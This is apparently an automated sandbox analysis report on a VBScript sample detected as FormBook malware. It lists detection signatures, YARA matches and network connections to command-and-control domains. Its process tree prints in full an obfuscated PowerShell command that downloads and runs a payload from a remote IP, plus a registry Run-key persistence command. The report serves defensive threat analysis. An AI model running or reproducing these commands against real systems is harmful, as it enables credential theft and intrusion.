Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
PROJECT-_SAUDI_ARAMCO_DRAWING_AND_SPECS.vbs

Overview

General Information

Sample Name:PROJECT-_SAUDI_ARAMCO_DRAWING_AND_SPECS.vbs
Analysis ID:1278132
MD5:954fb4244b1d939569a961ccd3b1ba26
SHA1:d8f972cee06b144a6538bb89a2b6d28486ada1f2
SHA256:cdd6cf1a2efa0b65dc1f2beef48867ab945d99bc0b90443d9947fc8c889d6aba
Tags:vbs
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Yara detected FormBook
Malicious sample detected (through community Yara rule)
VBScript performs obfuscated calls to suspicious functions
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Antivirus detection for dropped file
Yara detected Powershell download and execute
Sample uses process hollowing technique
Tries to steal Mail credentials (via file / registry access)
Maps a DLL or memory area into another process
Drops PE files with a suspicious file extension
Wscript starts Powershell (via cmd or directly)
Suspicious powershell command line found
Drops PE files to the document folder of the user
Injects a PE file into a foreign processes
Powershell drops PE file
Queues an APC in another process (thread injection)
Machine Learning detection for dropped file
Modifies the context of a thread in another process (thread injection)
Tries to harvest and steal browser information (history, passwords, etc)
Found suspicious powershell code related to unpacking or dynamic code loading
Queries the volume information (name, serial number etc) of a device
Yara signature match
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Java / VBScript file with very long strings (likely obfuscated code)
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Checks if the current process is being debugged
Binary contains a suspicious time stamp
Uses reg.exe to modify the Windows registry
Found large amount of non-executed APIs
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

  • System is w10x64
  • wscript.exe (PID: 4760 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PROJECT-_SAUDI_ARAMCO_DRAWING_AND_SPECS.vbs" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)
    • cmd.exe (PID: 5464 cmdline: C:\Windows\System32\cmd.exe" /c "powERshELl -WINd hI -ExeCut BypAss while($true){try{Start-Process 'powershell.exe' -WindowStyle hidden -Verb runas -ArgumentList '-exec Bypass -c', '$c1=''iex (New-Object Net.We''; $c4=''bClient).Downlo''; $c3=''adString(''''http://212.192.219.52/Untitled2.bmp'''')'';I`E`X ($c1,$c4,$c3 -Join '''')' ;exit}catch{}} MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 5456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • powershell.exe (PID: 5780 cmdline: powERshELl -WINd hI -ExeCut BypAss while($true){try{Start-Process 'powershell.exe' -WindowStyle hidden -Verb runas -ArgumentList '-exec Bypass -c', '$c1=''iex (New-Object Net.We''; $c4=''bClient).Downlo''; $c3=''adString(''''http://212.192.219.52/Untitled2.bmp'''')'';I`E`X ($c1,$c4,$c3 -Join '''')' ;exit}catch{}} MD5: 95000560239032BC68B4C2FDFCDEF913)
        • powershell.exe (PID: 6672 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec Bypass -c $c1='iex (New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://212.192.219.52/Untitled2.bmp'')';I`E`X ($c1,$c4,$c3 -Join '') MD5: 95000560239032BC68B4C2FDFCDEF913)
          • conhost.exe (PID: 6644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
          • ServiceHub.exe (PID: 7164 cmdline: "C:\Users\user\AppData\Roaming\ServiceHub.exe" MD5: 092A9C604129484DE0CE5F2FB3C450D1)
            • cmd.exe (PID: 5076 cmdline: C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ServiceHub" /t REG_SZ /F /D "C:\Users\user\Documents\ServiceHub.pif MD5: F3BDBE3BB6F734E357235F4D5898582D)
              • conhost.exe (PID: 4684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
              • reg.exe (PID: 6708 cmdline: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ServiceHub" /t REG_SZ /F /D "C:\Users\user\Documents\ServiceHub.pif" MD5: CEE2A7E57DF2A159A065A34913A055C2)
            • ServiceHub.exe (PID: 6768 cmdline: C:\Users\user\AppData\Roaming\ServiceHub.exe MD5: 092A9C604129484DE0CE5F2FB3C450D1)
              • ServiceHub.pif (PID: 3316 cmdline: "C:\Users\user\Documents\ServiceHub.pif" MD5: 092A9C604129484DE0CE5F2FB3C450D1)
                • msiexec.exe (PID: 7072 cmdline: C:\Windows\SysWOW64\msiexec.exe MD5: 12C17B5A5C2A7B97342C362CA467E9A2)
                  • ServiceHub.pif (PID: 6996 cmdline: "C:\Users\user\Documents\ServiceHub.pif" MD5: 092A9C604129484DE0CE5F2FB3C450D1)
                    • ServiceHub.pif (PID: 5136 cmdline: C:\Users\user\Documents\ServiceHub.pif MD5: 092A9C604129484DE0CE5F2FB3C450D1)
                  • explorer.exe (PID: 3324 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
                • ServiceHub.pif (PID: 1792 cmdline: C:\Users\user\Documents\ServiceHub.pif MD5: 092A9C604129484DE0CE5F2FB3C450D1)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000011.00000002.570692390.0000000001140000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000011.00000002.570692390.0000000001140000.00000040.10000000.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
    • 0x20500:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
    • 0xc63f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
    • 0x19d07:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
    00000011.00000002.570692390.0000000001140000.00000040.10000000.00040000.00000000.sdmpFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
    • 0x19b05:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
    • 0x195a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
    • 0x19c07:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
    • 0x19d7f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
    • 0xc20a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
    • 0x187fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
    • 0x1f297:$sequence_8: 3C 54 74 04 3C 74 75 F4
    • 0x2025a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
    00000011.00000002.565170091.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000011.00000002.565170091.0000000000400000.00000040.00000400.00020000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
      • 0x23aa3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
      • 0xfbe2:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
      • 0x1d2aa:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
      Click to see the 12 entries

      Unpacked PEs

      SourceRuleDescriptionAuthorStrings
      17.2.ServiceHub.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        17.2.ServiceHub.exe.400000.0.raw.unpackWindows_Trojan_Formbook_1112e116unknownunknown
        • 0x23aa3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
        • 0xfbe2:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
        • 0x1d2aa:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
        17.2.ServiceHub.exe.400000.0.raw.unpackFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
        • 0x1d0a8:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
        • 0x1cb44:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
        • 0x1d1aa:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
        • 0x1d322:$sequence_4: 5D C3 8D 50 7C 80 FA 07
        • 0xf7ad:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
        • 0x1bd9f:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
        • 0x2283a:$sequence_8: 3C 54 74 04 3C 74 75 F4
        • 0x237fd:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
        17.2.ServiceHub.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          17.2.ServiceHub.exe.400000.0.unpackWindows_Trojan_Formbook_1112e116unknownunknown
          • 0x22ca3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
          • 0xede2:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
          • 0x1c4aa:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
          Click to see the 1 entries

          Other

          SourceRuleDescriptionAuthorStrings
          amsi64_6672.amsi.csvJoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security

            Sigma Signatures

            ⊘No Sigma rule has matched

            Snort Signatures

            ⊘No Snort rule has matched

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 17.2.ServiceHub.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 17.2.ServiceHub.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000011.00000002.570692390.0000000001140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000011.00000002.565170091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000002.906049322.0000000004A60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000002.904340271.0000000000B30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000002.905735197.0000000003040000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Antivirus detection for URL or domain
            Source: http://www.u1uc86.shop/m8a3/Avira URL Cloud: Label: phishing
            Antivirus detection for dropped file
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeAvira: detection malicious, Label: TR/Dropper.Gen7
            Source: C:\Users\user\Documents\ServiceHub.pifAvira: detection malicious, Label: TR/Dropper.Gen7
            Machine Learning detection for dropped file
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeJoe Sandbox ML: detected
            Source: C:\Users\user\Documents\ServiceHub.pifJoe Sandbox ML: detected
            Source: Binary string: wntdll.pdb source: ServiceHub.exe

            Networking

            barindex
            System process connects to network (likely due to code injection or exploit)
            Source: C:\Windows\explorer.exeNetwork Connect: 134.73.114.39 80
            Source: C:\Windows\explorer.exeDomain query: www.eunicebarber.com
            Source: C:\Windows\explorer.exeNetwork Connect: 91.195.240.68 80
            Source: C:\Windows\explorer.exeNetwork Connect: 45.221.114.42 80
            Source: C:\Windows\explorer.exeNetwork Connect: 8.217.57.91 80
            Source: C:\Windows\explorer.exeDomain query: www.blackhawkstickets.com
            Source: C:\Windows\explorer.exeDomain query: www.jshjyz.com
            Source: C:\Windows\explorer.exeNetwork Connect: 156.237.252.50 80
            Source: C:\Windows\explorer.exeDomain query: www.moqainc.com
            Source: C:\Windows\explorer.exeDomain query: www.u1uc86.shop
            Source: Joe Sandbox ViewASN Name: sun-asnSC sun-asnSC
            Source: global trafficHTTP traffic detected: GET /Untitled2.bmp HTTP/1.1Host: 212.192.219.52Connection: Keep-Alive
            Source: Joe Sandbox ViewIP Address: 91.195.240.68 91.195.240.68
            Source: global trafficHTTP traffic detected: GET /m8a3/?Ur=wELRwQq9Ik4akR1AOxjjTZuNaDONjs8a2YaLQcHnUlU7Bv3tKYzAHvXnkO/QKC4W0Zoe4oBdA0RLZC4HllwlUjUeZBoK18Latg==&HlMd=4b_DnLvPevaPpfd HTTP/1.1Host: www.blackhawkstickets.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
            Source: global trafficHTTP traffic detected: POST /m8a3/ HTTP/1.1Host: www.moqainc.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-USContent-Type: application/x-www-form-urlencodedContent-Length: 1479Cache-Control: no-cacheConnection: closeOrigin: http://www.moqainc.comReferer: http://www.moqainc.com/m8a3/User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36Data Raw: 55 72 3d 37 4e 2f 54 73 4b 44 41 62 6d 4e 65 79 75 75 66 7a 58 32 52 74 47 48 36 69 79 39 6f 36 33 42 71 69 30 46 75 4f 73 58 62 39 47 79 48 43 6f 39 2f 43 71 51 63 49 39 5a 75 52 55 48 74 31 46 68 70 6a 50 49 7a 47 50 68 4d 67 67 55 6a 39 63 5a 72 63 63 6d 50 4b 63 71 4a 52 58 2b 65 51 49 31 70 31 72 42 4f 5a 65 42 31 37 51 61 4c 52 65 46 67 76 32 31 36 47 73 74 79 53 77 32 2b 38 63 37 38 75 59 65 49 4a 68 56 31 35 52 79 37 61 5a 53 33 42 42 50 6f 6b 52 47 36 6b 67 77 58 4d 38 53 63 46 6b 37 67 36 73 2b 63 70 67 6c 51 4a 70 58 75 30 52 6e 4d 6b 7a 42 62 63 32 6f 42 74 50 4d 39 39 4e 77 47 4e 46 69 6e 57 4f 33 66 36 34 6a 2f 53 79 6f 42 56 6d 63 56 6d 71 32 32 48 61 73 38 30 4e 55 57 32 39 77 6d 4f 38 52 61 49 69 55 42 71 4e 71 65 42 72 71 43 73 79 36 48 46 45 33 62 36 2b 77 44 5a 61 63 75 50 70 4e 32 74 61 4c 35 52 38 6d 41 65 70 6e 52 78 75 6f 78 6b 69 49 33 4b 46 39 65 4a 6f 58 50 4f 32 37 4a 52 75 4d 4c 2b 2b 72 77 59 43 32 5a 54 48 61 38 77 62 64 6b 37 37 37 46 77 72 62 7a 7a 69 34 51 2b 5a 57 49 33 55 46 5a 6f 34 51 64 6d 2f 6f 74 2f 64 63 5a 51 78 4c 61 59 2b 2b 73 65 45 51 6b 39 47 68 6b 68 63 55 53 4a 34 70 4f 53 75 30 7a 73 65 57 2f 58 45 62 7a 4b 42 6e 46 72 35 65 36 53 37 33 37 42 63 31 70 6b 38 50 63 4d 59 31 4b 4e 50 49 72 55 51 7a 6e 36 64 71 76 59 6a 44 35 47 56 33 30 45 4a 45 58 62 6f 42 47 78 4c 35 31 2f 68 37 50 4c 62 47 6a 59 44 54 4e 4c 56 4b 6f 39 55 4f 49 57 49 33 79 42 4e 62 6c 49 35 45 6b 59 76 6f 69 68 52 6f 72 58 37 79 45 31 41 6c 7a 38 54 43 66 6f 4e 52 46 2b 46 65 31 79 77 41 65 39 53 2f 50 59 6c 50 30 45 35 76 31 73 70 38 53 48 49 34 69 6c 34 71 30 48 44 67 7a 58 61 45 34 6f 4e 41 59 48 71 71 6c 4f 75 74 38 67 51 4c 7a 74 4e 54 42 71 4e 54 4e 41 32 2b 75 46 66 61 58 74 63 4d 74 4a 31 38 4b 31 4b 31 36 6f 6a 35 46 59 79 32 42 44 6d 41 53 32 65 30 55 62 38 6f 59 39 78 39 48 38 68 59 76 77 2f 6e 31 72 71 52 46 64 55 58 4a 4b 39 47 43 30 67 39 4e 45 6b 68 43 5a 68 7a 44 32 42 64 6e 54 65 71 79 62 62 36 64 4c 2b 41 58 46 69 4f 4b 6b 53 45 74 57 50 65 38 69 64 68 38 4a 68 37 2f 6e 35 4f 6c 43 74 41 75 55 52 66 65 6c 5a 4a 54 35 48 4e 75 2f 2f 73 6c 4f 72 77 69 61 54 58 5a 38 78 68 35 35 35 4e 57 62 45 62 54 6b 61 67 32 45 35 62 34 6c 64 41 67 77 35 6e 71 71 71 79 59 64 50 6c 31 44 76 70 4b 71 70 72 39 69 72 58 30 48 50 55 4e 62 6d 38 2b 33 34 34 7a 33 34 69 41 48 50 54 67 6f 66 69 70 6d 49 30 77 45 79 6b 33 70 71 4d 42 6e 6b 57 51 39 37 39 32 69 53 6c 78 7a 58 54 65 42 6b 31 5a 78 6a 63 6a 49 48 50 78 59 34 59 77 65 7
            Source: global trafficHTTP traffic detected: POST /m8a3/ HTTP/1.1Host: www.moqainc.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-USContent-Type: application/x-www-form-urlencodedContent-Length: 183Cache-Control: no-cacheConnection: closeOrigin: http://www.moqainc.comReferer: http://www.moqainc.com/m8a3/User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36Data Raw: 55 72 3d 37 4e 2f 54 73 4b 44 41 62 6d 4e 65 79 76 75 66 7a 47 32 52 73 6d 48 36 6a 79 39 6f 77 58 42 6f 69 30 34 4f 4f 6f 48 4c 39 58 32 48 43 34 74 2f 43 34 34 63 4c 39 5a 78 57 6b 48 78 37 6c 68 38 6a 50 4a 53 47 4f 64 4d 67 67 51 6a 79 65 52 72 61 64 6d 4d 47 4d 71 4c 61 33 2b 62 51 49 35 4b 31 72 63 56 5a 66 70 31 37 54 4f 4c 51 65 56 67 72 51 42 36 44 63 74 4f 61 51 32 74 38 63 33 70 75 65 2b 41 4a 68 46 31 35 6a 47 37 62 49 79 33 53 6d 62 6f 71 78 47 2f 38 77 78 49 41 76 6a 73 47 53 2f 76 36 4f 2f 55 35 54 45 42 49 61 69 2b 6b 41 3d 3d Data Ascii: Ur=7N/TsKDAbmNeyvufzG2RsmH6jy9owXBoi04OOoHL9X2HC4t/C44cL9ZxWkHx7lh8jPJSGOdMggQjyeRradmMGMqLa3+bQI5K1rcVZfp17TOLQeVgrQB6DctOaQ2t8c3pue+AJhF15jG7bIy3SmboqxG/8wxIAvjsGS/v6O/U5TEBIai+kA==
            Source: global trafficHTTP traffic detected: GET /m8a3/?Ur=2PXzv/KUOl1j1NuZtHuegUOjtHgT7zpI1k9NLrqIqxTSD5EEUqAnCL5FTmT193UJ4vU1Eo4nrGN2pIlcQ7jSI/XdQia5ZrF41g==&HlMd=4b_DnLvPevaPpfd HTTP/1.1Host: www.moqainc.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
            Source: global trafficHTTP traffic detected: POST /m8a3/ HTTP/1.1Host: www.u1uc86.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-USContent-Type: application/x-www-form-urlencodedContent-Length: 1479Cache-Control: no-cacheConnection: closeOrigin: http://www.u1uc86.shopReferer: http://www.u1uc86.shop/m8a3/User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36Data Raw: 55 72 3d 30 6a 55 6e 79 74 44 53 49 67 6a 77 72 31 4a 65 52 42 71 7a 68 48 76 76 63 74 77 6d 41 68 70 62 48 47 4b 52 43 48 4f 73 71 4f 36 72 6d 38 43 4e 4c 7a 37 72 57 71 50 51 54 48 32 31 54 4a 79 41 70 66 6f 6b 4a 63 31 36 4b 47 75 51 5a 55 35 6e 61 57 74 4a 55 55 68 75 71 48 2f 41 49 58 6b 6c 36 6f 39 71 53 63 4e 50 47 4c 54 2f 41 4a 6b 64 45 34 38 5a 67 61 62 2b 39 6d 51 31 58 42 58 41 55 41 4b 5a 57 4d 65 42 53 56 50 65 58 6f 75 49 68 44 7a 39 59 4c 73 7a 42 64 7a 6a 69 7a 70 74 48 56 35 49 6e 54 32 79 34 46 33 6b 36 52 59 50 49 79 5a 74 4c 42 55 71 38 62 5a 66 69 62 59 79 34 73 71 6d 43 76 36 65 67 45 4e 6d 75 70 73 63 38 32 65 65 43 67 44 6b 6f 2b 38 46 66 4e 79 68 38 7a 52 72 67 6c 7a 56 69 6a 33 44 6e 51 31 54 32 4b 65 69 42 49 41 78 42 41 38 37 58 69 76 47 71 75 4c 62 32 55 39 78 4b 65 37 46 72 45 4e 75 54 31 43 76 4a 70 78 2f 44 32 51 66 6f 2b 54 66 36 52 61 39 4c 31 45 58 48 6f 77 54 76 4e 6d 6b 49 48 67 4d 31 4c 48 6e 4e 52 33 61 6e 49 42 6e 4c 4e 34 61 30 37 54 30 32 4e 35 69 34 63 64 44 69 64 4c 32 79 52 44 33 6d 4b 32 2b 5a 7a 4b 4c 43 59 51 6f 44 58 42 36 36 50 41 76 4b 79 32 46 46 4b 4c 4d 45 58 68 66 59 2b 68 2b 5a 66 6e 2f 50 79 64 52 42 74 38 39 4e 77 58 70 73 71 37 54 51 78 78 2f 32 64 70 48 39 32 77 45 62 33 53 4b 44 5a 34 32 52 42 76 58 4c 43 2b 51 35 66 4c 57 78 70 77 33 32 32 32 34 4d 31 70 64 35 4d 74 33 6a 35 52 74 4a 37 51 4e 67 57 31 74 75 61 73 4e 2b 76 65 6a 52 6b 32 2f 77 44 73 4a 71 7a 72 58 7a 78 72 69 75 75 4b 77 64 4a 75 49 4b 48 6a 44 75 64 53 6d 73 71 69 57 6a 5a 54 69 4b 58 39 53 35 79 76 33 65 6a 66 6c 70 6c 7a 51 4d 55 71 56 65 35 53 38 34 2f 69 36 2b 2b 41 37 6a 6b 32 43 41 6d 79 31 43 4a 59 6a 73 51 68 75 2b 33 66 6a 72 51 4a 34 52 36 63 4b 69 79 37 79 67 56 68 6c 32 35 46 4b 64 48 4b 6a 61 69 2b 30 62 4f 6f 74 56 64 46 77 6a 74 78 42 4d 54 6a 6c 67 4f 4e 69 37 7a 75 6b 57 72 55 43 47 72 56 77 31 6c 68 48 4f 4c 65 77 76 2b 66 67 34 74 56 4f 46 77 32 41 57 5a 77 32 45 64 74 52 34 69 70 43 4c 30 66 4e 72 66 68 41 64 66 6b 6a 6b 47 70 49 36 55 35 43 41 33 43 61 59 2f 4a 41 65 6d 36 32 55 52 46 74 39 55 69 33 63 42 53 4f 34 4f 4b 53 58 6c 31 76 50 6b 76 77 4e 4c 36 67 6b 4b 69 49 44 50 36 63 70 33 77 34 56 65 36 71 77 76 57 4f 4a 74 68 2f 32 73 6e 4f 50 51 38 46 55 67 66 55 6f 43 6f 5a 47 43 68 67 61 62 6d 41 66 75 49 33 50 4e 2b 59 35 37 4e 62 59 49 7a 73 65 4c 58 61 39 31 55 4f 78 4e 67 5a 54 76 78 46 33 70 70 65 67 55 50 77 63 54 70 68 72 71 56 42 47 37 32 2b 78 42 37 48 49 34 6a 4d 37 37 72 64 53 4
            Source: global trafficHTTP traffic detected: POST /m8a3/ HTTP/1.1Host: www.u1uc86.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-USContent-Type: application/x-www-form-urlencodedContent-Length: 183Cache-Control: no-cacheConnection: closeOrigin: http://www.u1uc86.shopReferer: http://www.u1uc86.shop/m8a3/User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36Data Raw: 55 72 3d 30 6a 55 6e 79 74 44 53 49 67 6a 77 72 30 4a 65 51 51 71 7a 69 6e 76 76 50 64 77 6d 5a 78 70 52 48 47 32 5a 43 46 69 47 70 39 61 72 6c 74 79 4e 4b 42 44 72 59 4b 50 54 42 6e 32 78 58 4a 79 4a 70 66 6f 57 4a 64 4a 36 4b 47 4b 51 66 79 39 6e 53 33 74 4b 59 45 68 73 73 48 2b 48 49 58 6f 47 36 76 30 68 53 63 56 50 47 4f 54 2f 53 35 55 64 43 61 55 5a 6c 71 61 33 37 6d 52 31 58 42 54 76 55 45 57 52 57 4a 61 42 53 67 6e 65 57 39 69 49 6d 55 76 39 4b 4c 73 32 49 39 79 6b 69 69 77 38 64 6a 42 4f 75 43 33 42 6b 42 4b 49 33 43 4e 39 56 41 3d 3d Data Ascii: Ur=0jUnytDSIgjwr0JeQQqzinvvPdwmZxpRHG2ZCFiGp9arltyNKBDrYKPTBn2xXJyJpfoWJdJ6KGKQfy9nS3tKYEhssH+HIXoG6v0hScVPGOT/S5UdCaUZlqa37mR1XBTvUEWRWJaBSgneW9iImUv9KLs2I9ykiiw8djBOuC3BkBKI3CN9VA==
            Source: global trafficHTTP traffic detected: POST /m8a3/ HTTP/1.1Host: www.blackhawkstickets.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-USContent-Type: application/x-www-form-urlencodedContent-Length: 1484Cache-Control: no-cacheConnection: closeOrigin: http://www.blackhawkstickets.comReferer: http://www.blackhawkstickets.com/m8a3/User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36Data Raw: 79 79 39 55 77 76 72 3d 39 47 6a 78 7a 6c 37 61 4c 56 52 31 35 54 5a 6a 51 42 33 5a 44 4f 4f 51 53 69 43 59 74 6f 45 33 38 72 32 4f 4f 4d 54 39 58 44 63 39 57 36 57 41 63 71 37 66 4c 34 44 46 79 65 33 77 48 77 59 53 68 39 77 6a 38 2b 77 6e 42 68 30 5a 5a 6e 4d 59 6d 78 39 4b 64 54 55 36 53 52 6b 35 34 38 6a 34 68 50 38 4f 75 44 67 52 69 55 45 2f 47 2b 4e 51 4e 7a 32 71 46 51 49 38 7a 6e 2f 31 55 5a 57 55 53 46 41 73 7a 41 72 6e 34 44 51 35 34 51 41 36 6b 54 42 4e 34 68 56 41 79 2b 43 72 36 5a 70 51 36 6e 6d 41 51 49 65 31 35 2f 62 55 66 2f 37 4a 4b 65 31 38 77 44 5a 58 6a 71 51 34 4f 76 45 46 4b 2f 6e 74 72 39 52 39 38 42 6a 2f 36 4c 79 61 52 77 4d 41 6d 30 34 55 74 68 64 4c 34 32 42 59 69 36 6c 30 36 48 63 57 78 6a 62 36 63 66 72 78 73 47 2f 62 5a 7a 48 31 43 77 43 44 2b 6a 41 2f 43 5a 6c 6a 72 31 51 4b 69 45 49 6c 71 53 35 6b 61 58 43 6a 70 32 47 6a 58 63 61 69 72 47 32 37 4a 56 2f 2b 6a 4f 68 63 41 54 34 6c 71 54 66 2b 68 69 52 38 4c 37 6d 62 67 33 58 43 74 51 45 76 30 51 69 4d 6d 54 77 62 4a 39 63 36 4d 2f 6b 53 76 6f 2f 43 66 67 65 32 79 65 57 71 67 34 4c 43 59 4f 74 6c 75 34 39 55 78 5a 6e 79 52 58 58 57 4c 5a 36 6a 5a 54 5a 38 50 75 44 45 56 41 6d 34 43 76 44 34 65 46 68 42 72 36 6c 77 36 57 30 30 39 32 66 65 46 6d 46 6b 31 39 6f 74 69 7a 43 4a 59 39 31 78 6c 6c 39 55 5a 69 36 4a 55 57 77 57 49 42 6f 30 4c 57 37 61 6c 6a 37 44 77 50 30 52 51 65 39 57 71 44 35 45 38 30 68 47 73 48 69 51 66 42 6d 36 70 57 47 4d 4b 57 4b 6a 44 63 76 4e 44 69 56 61 70 36 6b 69 6f 54 56 56 